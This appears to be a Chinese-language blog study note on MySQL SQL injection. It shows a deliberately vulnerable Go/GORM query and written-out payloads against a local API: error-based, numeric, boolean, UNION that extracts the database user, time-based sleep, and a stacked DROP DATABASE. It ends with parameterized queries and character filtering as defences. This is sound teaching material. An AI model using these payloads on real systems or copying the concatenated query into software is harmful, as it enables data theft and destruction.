tonglin0325的个人主页

MySQL学习笔记——SQL注入

1.常见SQL注入的方法#

假设我们使用goland的GORM框架写了以下面SQL

1
2
3
4
5
6
err := u.data.db.Raw("select id, username, email from user where username = '" + s + "'").Scan(&user).Error
if err != nil {
u.log.Error(fmt.Sprintf("find user by id username fail, error: %v", err))
return nil, err
}

如果正常的查询参数的值为test123,请求如下接口传入该值

1
2
http://localhost:8080/api/v1/user?username=test123

接口输出的结果为

1
2
3
4
5
6
7
8
9
10
11
12
{
"Code": 200,
"Msg": "find user by username success",
"Data": [
{
"id": 18,
"username": "test123",
"email": "test@test123"
}
]
}

但是使用字符串拼接来实现查询逻辑的话,很容易被人使用SQL注入的方法进行攻击

1.Error-based#

基于错误的SQL注入主要是用于获得数据的相关信息,方便进行后序的攻击,比如输入单引号 ‘

1
2
http://localhost:8080/api/v1/user?username='

此时从接口的返回值中就可以知道使用的是MySQL数据库

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
{
"Code": 500,
"Msg": "find user by username fail",
"Data": {
"Number": 1064,
"SQLState": [
52,
50,
48,
48,
48
],
"Message": "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1"
}
}

2.数字型#

比如使用数组id来请求用户信息的接口

1
2
http://localhost:8080/api/v1/user/1

如果使用3-2可以查询到id=1的用户信息,表示可以使用数字型SQL注入

1
2
http://localhost:8080/api/v1/user/3-2

参考:【第九天 - 數字型 SQL注入】

3.布尔型#

可以通过布尔表达式来判断猜测的数据是否最正确

1
2
<原SQL語法> and length(database())>=1--

参考:【第十一天 - 布林SQL盲注】

4.Union-based#

基于union的SQL注入可以通过拼接上UNION语句来实现SQL注入,比如输入’ union all select 123,system_user(),user()%23,其中%23是#

1
2
http://localhost:8080/api/v1/user?username=' union all select 123,system_user(),user()%23

最终执行的SQL是

1
2
select id, username, email from user where username = '' union all select 123,system_user(),user()#'

此时从接口的返回值中可以查询到数据库的用户名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
{
"Code": 200,
"Msg": "find user by username success",
"Data": [
{
"id": 19,
"username": "",
"email": ""
},
{
"id": 123,
"username": "root@172.17.0.1",
"email": "root@172.17.0.1"
}
]
}

5.Time-based#

基于sleep函数的SQL注入可以通过拼接上sleep函数来实现sql注入,配合上IF语句可以通过sleep函数是否执行来判断IF条件是否正确(例如在没有权限使用database()等函数的情况下猜测库名表名等),

比如输入test123’ and sleep(5)%23,其中%23是#

1
2
http://localhost:8080/api/v1/user?username=test123' and sleep(5)%23

最终执行的SQL是

1
2
select id, username, email from user where username = 'test123' and sleep(5)#'

注入成功的话,请求会延时5秒之后再返回

参考:SQL注入-时间盲注整理

6.堆叠型#

1
2
<原SQL語法>;DROP DATABASE 資料庫名

参考:【第十四天 - 堆疊型 SQL注入】

2.防范SQL注入的方法#

1.使用参数化#

不使用字符串拼接的方式

1
2
3
4
5
6
err := dao.User.Where(dao.User.Username.Eq(s)).Scan(&amp;user)
if err != nil {
u.log.Error(fmt.Sprintf("find user by id username fail, error: %v", err))
return nil, err
}

2.输入过滤#

通过检查SQL中有某些特殊意思的字符来防止SQL注入,比如

1
2
3
4
5
6
7
8
9
\
;
'
"
`
--
#
/* */

参考:秒懂 SQL Injection